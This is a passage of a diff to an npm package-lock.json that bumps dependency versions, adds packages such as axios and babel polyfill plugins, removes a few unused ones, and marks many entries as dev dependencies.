+ "caniuse-lite": "^1.0.30001109",
+ "colorette": "^1.2.1",
"normalize-range": "^0.1.2",
"num2fraction": "^1.2.2",
- "postcss": "^7.0.27",
- "postcss-value-parser": "^4.0.3"
+ "postcss": "^7.0.32",
+ "postcss-value-parser": "^4.1.0"
}
},
"aws-sign2": {
@@ -2800,6 +5347,15 @@
"integrity": "sha512-wMHVg2EOHaMRxbzgFJ9gtjOOCrI80OHLG14rxi28XwOW8ux6IiEbRCGGGqCtdAIg4FQCbW20k9RsT4y3gJlFug==",
"dev": true
},
+ "axios": {
+ "version": "0.21.1",
+ "resolved": "https://registry.npmjs.org/axios/-/axios-0.21.1.tgz",
+ "integrity": "sha512-dKQiRHxGD9PPRIUNIWvZhPTPpl1rf/OxTYKsqKUDjBwYylTvV7SjSHJb9ratfyzM6wCdLCOYLzs73qpg5c4iGA==",
+ "dev": true,
+ "requires": {
+ "follow-redirects": "^1.10.0"
+ }
+ },
"babel-eslint": {
"version": "10.1.0",
"resolved": "https://registry.npmjs.org/babel-eslint/-/babel-eslint-10.1.0.tgz",
@@ -2815,22 +5371,30 @@
}
},
"babel-loader": {
- "version": "8.1.0",
- "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-8.1.0.tgz",
- "integrity": "sha512-7q7nC1tYOrqvUrN3LQK4GwSk/TQorZSOlO9C+RZDZpODgyN4ZlCqE5q9cDsyWOliN+aU9B4JX01xK9eJXowJLw==",
+ "version": "8.2.2",
+ "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-8.2.2.tgz",
+ "integrity": "sha512-JvTd0/D889PQBtUXJ2PXaKU/pjZDMtHA9V2ecm+eNRmmBCMR09a+fmpGTNwnJtFmFl5Ei7Vy47LjBb+L0wQ99g==",
"dev": true,
"requires": {
- "find-cache-dir": "^2.1.0",
+ "find-cache-dir": "^3.3.1",
"loader-utils": "^1.4.0",
- "mkdirp": "^0.5.3",
- "pify": "^4.0.1",
+ "make-dir": "^3.1.0",
"schema-utils": "^2.6.5"
},
"dependencies": {
- "pify": {
- "version": "4.0.1",
- "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz",
- "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==",
+ "make-dir": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
+ "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
+ "dev": true,
+ "requires": {
+ "semver": "^6.0.0"
+ }
+ },
+ "semver": {
+ "version": "6.3.0",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
+ "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==",
"dev": true
}
}
@@ -2845,9 +5409,9 @@
}
},
"babel-plugin-emotion": {
- "version": "10.0.33",
- "resolved": "https://registry.npmjs.org/babel-plugin-emotion/-/babel-plugin-emotion-10.0.33.tgz",
- "integrity": "sha512-bxZbTTGz0AJQDHm8k6Rf3RQJ8tX2scsfsRyKVgAbiUPUNIRtlK+7JxP+TAd1kRLABFxe0CFm2VdK4ePkoA9FxQ==",
+ "version": "10.2.2",
+ "resolved": "https://registry.npmjs.org/babel-plugin-emotion/-/babel-plugin-emotion-10.2.2.tgz",
+ "integrity": "sha512-SMSkGoqTbTyUTDeuVuPIWifPdUGkTk1Kf9BWRiXIOIcuyMfsdp2EjeiiFvOzX8NOBvEh/ypKYvUh2rkgAJMCLA==",
"requires": {
"@babel/helper-module-imports": "^7.0.0",
"@emotion/hash": "0.8.0",
@@ -2871,6 +5435,44 @@
"resolve": "^1.12.0"
}
},
+ "babel-plugin-polyfill-corejs2": {
+ "version": "0.2.0",
+ "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.2.0.tgz",
+ "integrity": "sha512-9bNwiR0dS881c5SHnzCmmGlMkJLl0OUZvxrxHo9w/iNoRuqaPjqlvBf4HrovXtQs/au5yKkpcdgfT1cC5PAZwg==",
+ "dev": true,
+ "requires": {
+ "@babel/compat-data": "^7.13.11",
+ "@babel/helper-define-polyfill-provider": "^0.2.0",
+ "semver": "^6.1.1"
+ },
+ "dependencies": {
+ "semver": {
+ "version": "6.3.0",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
+ "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==",
+ "dev": true
+ }
+ }
+ },
+ "babel-plugin-polyfill-corejs3": {
+ "version": "0.2.0",
+ "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.2.0.tgz",
+ "integrity": "sha512-zZyi7p3BCUyzNxLx8KV61zTINkkV65zVkDAFNZmrTCRVhjo1jAS+YLvDJ9Jgd/w2tsAviCwFHReYfxO3Iql8Yg==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-define-polyfill-provider": "^0.2.0",
+ "core-js-compat": "^3.9.1"
+ }
+ },
+ "babel-plugin-polyfill-regenerator": {
+ "version": "0.2.0",
+ "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.2.0.tgz",
+ "integrity": "sha512-J7vKbCuD2Xi/eEHxquHN14bXAW9CXtecwuLrOIDJtcZzTaPzV1VdEfoUf9AzcRBMolKUQKM9/GVojeh0hFiqMg==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-define-polyfill-provider": "^0.2.0"
+ }
+ },
"babel-plugin-syntax-jsx": {
"version": "6.18.0",
"resolved": "https://registry.npmjs.org/babel-plugin-syntax-jsx/-/babel-plugin-syntax-jsx-6.18.0.tgz",
@@ -2906,7 +5508,8 @@
"balanced-match": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.0.tgz",
- "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c="
+ "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=",
+ "dev": true
},
"base": {
"version": "0.11.2",
@@ -2983,6 +5586,7 @@
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz",
"integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=",
+ "dev": true,
"requires": {
"tweetnacl": "^0.14.3"
}
@@ -3008,6 +5612,12 @@
"file-uri-to-path": "1.0.0"
}
},
+ "binjumper": {
+ "version": "0.1.4",
+ "resolved": "https://registry.npmjs.org/binjumper/-/binjumper-0.1.4.tgz",
+ "integrity": "sha512-Gdxhj+U295tIM6cO4bJO1jsvSjBVHNpj2o/OwW7pqDEtaqF6KdOxjtbo93jMMKAkP7+u09+bV8DhSqjIv4qR3w==",
+ "dev": true
+ },
"biskviit": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/biskviit/-/biskviit-1.0.1.tgz",
@@ -3017,9 +5627,10 @@
}
},
"bl": {
- "version": "4.0.3",
- "resolved": "https://registry.npmjs.org/bl/-/bl-4.0.3.tgz",
- "integrity": "sha512-fs4G6/Hu4/EE+F75J8DuN/0IpQqNjAdC7aEQv7Qt8MHGUH7Ckv2MwTEEeN9QehD0pfIDkMI1bkHYkKy7xHyKIg==",
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz",
+ "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==",
+ "dev": true,
"requires": {
"buffer": "^5.5.0",
"inherits": "^2.0.4",
@@ -3030,6 +5641,7 @@
"version": "3.6.0",
"resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
"integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
+ "dev": true,
"requires": {
"inherits": "^2.0.3",
"string_decoder": "^1.1.1",
@@ -3054,9 +5666,9 @@
"dev": true
},
"bn.js": {
- "version": "5.1.1",
- "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-5.1.1.tgz",
- "integrity": "sha512-IUTD/REb78Z2eodka1QZyyEk66pciRcP6Sroka0aI3tG/iwIdYLrBD62RsubR7vqdt3WyX8p4jxeatzmRSphtA==",
+ "version": "5.2.0",
+ "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-5.2.0.tgz",
+ "integrity": "sha512-D7iWRBvnZE8ecXiLj/9wbxH7Tk79fAh8IHaTNq1RWRixsS02W+5qS+iE9yq6RYl0asXx5tw0bLhmT5pIfbSquw==",
"dev": true
},
"body-parser": {
@@ -3111,15 +5723,22 @@
"integrity": "sha1-aN/1++YMUes3cl6p4+0xDcwed24=",
"dev": true
},
+ "boolean": {
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/boolean/-/boolean-3.0.3.tgz",
+ "integrity": "sha512-EqrTKXQX6Z3A2nRmMEIlAIfjQOgFnVO2nqZGpbcsPnYGWBwpFqzlrozU1dy+S2iqfYDLh26ef4KrgTxu9xQrxA==",
+ "dev": true
+ },
"bootstrap": {
- "version": "4.5.2",
- "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.5.2.tgz",
- "integrity": "sha512-vlGn0bcySYl/iV+BGA544JkkZP5LB3jsmkeKLFQakCOwCM3AOk7VkldBz4jrzSe+Z0Ezn99NVXa1o45cQY4R6A=="
+ "version": "4.6.0",
+ "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.6.0.tgz",
+ "integrity": "sha512-Io55IuQY3kydzHtbGvQya3H+KorS/M9rSNyfCGCg9WZ4pyT/lCxIlpJgG1GXW/PswzC84Tr2fBYi+7+jFVQQBw=="
},
"boxen": {
"version": "4.2.0",
"resolved": "https://registry.npmjs.org/boxen/-/boxen-4.2.0.tgz",
"integrity": "sha512-eB4uT9RGzg2odpER62bBwSLvUeGC+WbRjjyyFhGsKnc8wp/m0+hQsMUvUe3H2V0D5vw0nBdO1hCJoZo5mKeuIQ==",
+ "dev": true,
"requires": {
"ansi-align": "^3.0.0",
"camelcase": "^5.3.1",
@@ -3134,26 +5753,29 @@
"ansi-regex": {
"version": "5.0.0",
"resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz",
- "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg=="
+ "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==",
+ "dev": true
},
"ansi-styles": {
- "version": "4.2.1",
- "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.2.1.tgz",
- "integrity": "sha512-9VGjrMsG1vePxcSweQsN20KY/c4zN0h9fLjqAbwbPfahM3t+NL+M9HC8xeXG2I8pX5NoamTGNuomEUFI7fcUjA==",
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+ "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+ "dev": true,
"requires": {
- "@types/color-name": "^1.1.1",
"color-convert": "^2.0.1"
}
},
"camelcase": {
"version": "5.3.1",
"resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz",
- "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg=="
+ "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==",
+ "dev": true
},
"chalk": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz",
"integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==",
+ "dev": true,
"requires": {
"ansi-styles": "^4.1.0",
"supports-color": "^7.1.0"
@@ -3163,6 +5785,7 @@
"version": "2.0.1",
"resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
"integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+ "dev": true,
"requires": {
"color-name": "~1.1.4"
}
@@ -3170,27 +5793,32 @@
"color-name": {
"version": "1.1.4",
"resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
- "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+ "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
+ "dev": true
},
"emoji-regex": {
"version": "8.0.0",
"resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
- "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="
+ "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
+ "dev": true
},
"has-flag": {
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
- "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+ "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+ "dev": true
},
"is-fullwidth-code-point": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
- "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg=="
+ "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
+ "dev": true
},
"string-width": {
- "version": "4.2.0",
- "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.0.tgz",
- "integrity": "sha512-zUz5JD+tgqtuDjMhwIg5uFVV3dtqZ9yQJlZVfq4I01/K5Paj5UHj7VyrQOJvzawSVlKpObApbfD0Ed6yJc+1eg==",
+ "version": "4.2.2",
+ "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.2.tgz",
+ "integrity": "sha512-XBJbT3N4JhVumXE0eoLU9DCjcaF92KLNqTmFCnG1pf8duUxFGwtP6AD6nkjw9a3IdiRtL3E2w3JDiE/xi3vOeA==",
+ "dev": true,
"requires": {
"emoji-regex": "^8.0.0",
"is-fullwidth-code-point": "^3.0.0",
@@ -3201,6 +5829,7 @@
"version": "6.0.0",
"resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz",
"integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==",
+ "dev": true,
"requires": {
"ansi-regex": "^5.0.0"
}
@@ -3209,6 +5838,7 @@
"version": "7.2.0",
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
"integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+ "dev": true,
"requires": {
"has-flag": "^4.0.0"
}
@@ -3219,6 +5849,7 @@
"version": "1.1.11",
"resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz",
"integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==",
+ "dev": true,
"requires": {
"balanced-match": "^1.0.0",
"concat-map": "0.0.1"
@@ -3297,37 +5928,30 @@
}
},
"browserify-rsa": {
- "version": "4.0.1",
- "resolved": "https://registry.npmjs.org/browserify-rsa/-/browserify-rsa-4.0.1.tgz",
- "integrity": "sha1-IeCr+vbyApzy+vsTNWenAdQTVSQ=",
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/browserify-rsa/-/browserify-rsa-4.1.0.tgz",
+ "integrity": "sha512-AdEER0Hkspgno2aR97SAf6vi0y0k8NuOpGnVH3O99rcA5Q6sh8QxcngtHuJ6uXwnfAXNM4Gn1Gb7/MV1+Ymbog==",
"dev": true,
"requires": {
- "bn.js": "^4.1.0",
+ "bn.js": "^5.0.0",
"randombytes": "^2.0.1"
- },
- "dependencies": {
- "bn.js": {
- "version": "4.11.8",
- "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.8.tgz",
- "integrity": "sha512-ItfYfPLkWHUjckQCk8xC+LwxgK8NYcXywGigJgSwOP8Y2iyWT4f2vsZnoOXTTbo+o5yXmIUJ4gn5538SO5S3gA==",
- "dev": true
- }
}
},
"browserify-sign": {
- "version": "4.1.0",
- "resolved": "https://registry.npmjs.org/browserify-sign/-/browserify-sign-4.1.0.tgz",
- "integrity": "sha512-VYxo7cDCeYUoBZ0ZCy4UyEUCP3smyBd4DRQM5nrFS1jJjPJjX7rP3oLRpPoWfkhQfyJ0I9ZbHbKafrFD/SGlrg==",
+ "version": "4.2.1",
+ "resolved": "https://registry.npmjs.org/browserify-sign/-/browserify-sign-4.2.1.tgz",
+ "integrity": "sha512-/vrA5fguVAKKAVTNJjgSm1tRQDHUU6DbwO9IROu/0WAzC8PKhucDSh18J0RMvVeHAn5puMd+QHC2erPRNf8lmg==",
"dev": true,
"requires": {
"bn.js": "^5.1.1",
"browserify-rsa": "^4.0.1",
"create-hash": "^1.2.0",
"create-hmac": "^1.1.7",
- "elliptic": "^6.5.2",
+ "elliptic": "^6.5.3",
"inherits": "^2.0.4",
"parse-asn1": "^5.1.5",
- "readable-stream": "^3.6.0"
+ "readable-stream": "^3.6.0",
+ "safe-buffer": "^5.2.0"
},
"dependencies": {
"readable-stream": {
@@ -3340,43 +5964,52 @@
"string_decoder": "^1.1.1",
"util-deprecate": "^1.0.1"
}
+ },
+ "safe-buffer": {
+ "version": "5.2.1",
+ "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
+ "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==",
+ "dev": true
}
}
},
"browserify-zlib": {
- "version": "0.2.0",
- "resolved": "https://registry.npmjs.org/browserify-zlib/-/browserify-zlib-0.2.0.tgz",
- "integrity": "sha512-Z942RysHXmJrhqk88FmKBVq/v5tqmSkDz7p54G/MGyjMnCFFnC79XWNbg+Vta8W6Wb2qtSZTSxIGkJrRpCFEiA==",
+ "version": "0.1.4",
+ "resolved": "https://registry.npmjs.org/browserify-zlib/-/browserify-zlib-0.1.4.tgz",
+ "integrity": "sha1-uzX4pRn2AOD6a4SFJByXnQFB+y0=",
"dev": true,
"requires": {
- "pako": "~1.0.5"
+ "pako": "~0.2.0"
}
},
"browserslist": {
- "version": "4.12.0",
- "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.12.0.tgz",
- "integrity": "sha512-UH2GkcEDSI0k/lRkuDSzFl9ZZ87skSy9w2XAn1MsZnL+4c4rqbBd3e82UWHbYDpztABrPBhZsTEeuxVfHppqDg==",
+ "version": "4.16.4",
+ "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.16.4.tgz",
+ "integrity": "sha512-d7rCxYV8I9kj41RH8UKYnvDYCRENUlHRgyXy/Rhr/1BaeLGfiCptEdFE8MIrvGfWbBFNjVYx76SQWvNX1j+/cQ==",
"dev": true,
"requires": {
- "caniuse-lite": "^1.0.30001043",
- "electron-to-chromium": "^1.3.413",
- "node-releases": "^1.1.53",
- "pkg-up": "^2.0.0"
+ "caniuse-lite": "^1.0.30001208",
+ "colorette": "^1.2.2",
+ "electron-to-chromium": "^1.3.712",
+ "escalade": "^3.1.1",
+ "node-releases": "^1.1.71"
}
},
"buffer": {
- "version": "5.6.0",
- "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.6.0.tgz",
- "integrity": "sha512-/gDYp/UtU0eA1ys8bOs9J6a+E/KWIY+DZ+Q2WESNUA0jFRsJOc0SNUO6xJ5SGA1xueg3NL65W6s+NY5l9cunuw==",
+ "version": "5.7.1",
+ "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz",
+ "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==",
+ "dev": true,
"requires": {
- "base64-js": "^1.0.2",
- "ieee754": "^1.1.4"
+ "base64-js": "^1.3.1",
+ "ieee754": "^1.1.13"
}
},
"buffer-from": {
"version": "1.1.1",
"resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.1.tgz",
- "integrity": "sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A=="
+ "integrity": "sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==",
+ "dev": true
},
"buffer-indexof": {
"version": "1.1.1",
@@ -3425,6 +6058,12 @@
"y18n": "^4.0.0"
},
"dependencies": {
+ "chownr": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz",
+ "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==",
+ "dev": true
+ },
"lru-cache": {
"version": "5.1.1",
"resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz",
@@ -3460,14 +6099,16 @@
}
},
"cacheable-lookup": {
- "version": "5.0.3",
- "resolved": "https://registry.npmjs.org/cacheable-lookup/-/cacheable-lookup-5.0.3.tgz",
- "integrity": "sha512-W+JBqF9SWe18A72XFzN/V/CULFzPm7sBXzzR6ekkE+3tLG72wFZrBiBZhrZuDoYexop4PHJVdFAKb/Nj9+tm9w=="
+ "version": "5.0.4",
+ "resolved": "https://registry.npmjs.org/cacheable-lookup/-/cacheable-lookup-5.0.4.tgz",
+ "integrity": "sha512-2/kNscPhpcxrOigMZzbiWF7dz8ilhb/nIHU3EyZiXWXpeq/au8qJ8VhdftMkty3n7Gj6HIGalQG8oiBNB3AJgA==",
+ "dev": true
},
"cacheable-request": {
"version": "7.0.1",
"resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-7.0.1.tgz",
"integrity": "sha512-lt0mJ6YAnsrBErpTMWeu5kl/tg9xMAWjavYTN6VQXM1A/teBITuNcccXsCxF0tDQQJf9DfAaX5O4e0zp0KlfZw==",
+ "dev": true,
"requires": {
"clone-response": "^1.0.2",
"get-stream": "^5.1.0",
@@ -3482,12 +6123,23 @@
"version": "5.2.0",
"resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz",
"integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==",
+ "dev": true,
"requires": {
"pump": "^3.0.0"
}
}
}
},
+ "call-bind": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz",
+ "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==",
+ "dev": true,
+ "requires": {
+ "function-bind": "^1.1.1",
+ "get-intrinsic": "^1.0.2"
+ }
+ },
"callsites": {
"version": "3.1.0",
"resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz",
@@ -3506,7 +6158,8 @@
"camelcase": {
"version": "2.1.1",
"resolved": "https://registry.npmjs.org/camelcase/-/camelcase-2.1.1.tgz",
- "integrity": "sha1-fB0W1nmhu+WcoCys7PsBHiAfWh8="
+ "integrity": "sha1-fB0W1nmhu+WcoCys7PsBHiAfWh8=",
+ "dev": true
},
"camelcase-keys": {
"version": "2.1.0",
@@ -3519,9 +6172,9 @@
}
},
"caniuse-lite": {
- "version": "1.0.30001055",
- "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001055.tgz",
- "integrity": "sha512-MbwsBmKrBSKIWldfdIagO5OJWZclpJtS4h0Jrk/4HFrXJxTdVdH23Fd+xCiHriVGvYcWyW8mR/CPsYajlH8Iuw==",
+ "version": "1.0.30001208",
+ "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001208.tgz",
+ "integrity": "sha512-OE5UE4+nBOro8Dyvv0lfx+SRtfVIOM9uhKqFmJeUbGriqhhStgp1A0OyBpgy3OUF8AhYCT+PVwPC1gMl2ZcQMA==",
"dev": true
},
"caseless": {
@@ -3530,12 +6183,6 @@
"integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=",
"dev": true
},
- "ccount": {
- "version": "1.0.5",
- "resolved": "https://registry.npmjs.org/ccount/-/ccount-1.0.5.tgz",
- "integrity": "sha512-MOli1W+nfbPLlKEhInaxhRdp7KVLFxLN5ykwzHgLsLI3H3gs5jjFAK4Eoj3OzzcxCtumDaI8onoVDeQyWaNTkw==",
- "dev": true
- },
"chalk": {
"version": "2.4.2",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
@@ -3552,12 +6199,6 @@
"integrity": "sha512-iBMyeEHxfVnIakwOuDXpVkc54HijNgCyQB2w0VfGQThle6NXn50zU6V/u+LDhxHcDUPojn6Kpga3PTAD8W1bQw==",
"dev": true
},
- "character-entities-html4": {
- "version": "1.1.4",
- "resolved": "https://registry.npmjs.org/character-entities-html4/-/character-entities-html4-1.1.4.tgz",
- "integrity": "sha512-HRcDxZuZqMx3/a+qrzxdBKBPUpxWEq9xw2OPZ3a/174ihfrQKVsFhqtthBInFy1zZ9GgZyFXOatNujm8M+El3g==",
- "dev": true
- },
"character-entities-legacy": {
"version": "1.1.4",
"resolved": "https://registry.npmjs.org/character-entities-legacy/-/character-entities-legacy-1.1.4.tgz",
@@ -3573,12 +6214,14 @@
"chardet": {
"version": "0.7.0",
"resolved": "https://registry.npmjs.org/chardet/-/chardet-0.7.0.tgz",
- "integrity": "sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA=="
+ "integrity": "sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA==",
+ "dev": true
},
"child-process": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/child-process/-/child-process-1.0.2.tgz",
- "integrity": "sha1-mJdNx+0e5MYin44wX6cxOmiFp/I="
+ "integrity": "sha1-mJdNx+0e5MYin44wX6cxOmiFp/I=",
+ "dev": true
},
"chokidar": {
"version": "2.1.8",
@@ -3601,24 +6244,22 @@
}
},
"chownr": {
- "version": "1.1.4",
- "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz",
- "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==",
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz",
+ "integrity": "sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==",
"dev": true
},
"chrome-trace-event": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.2.tgz",
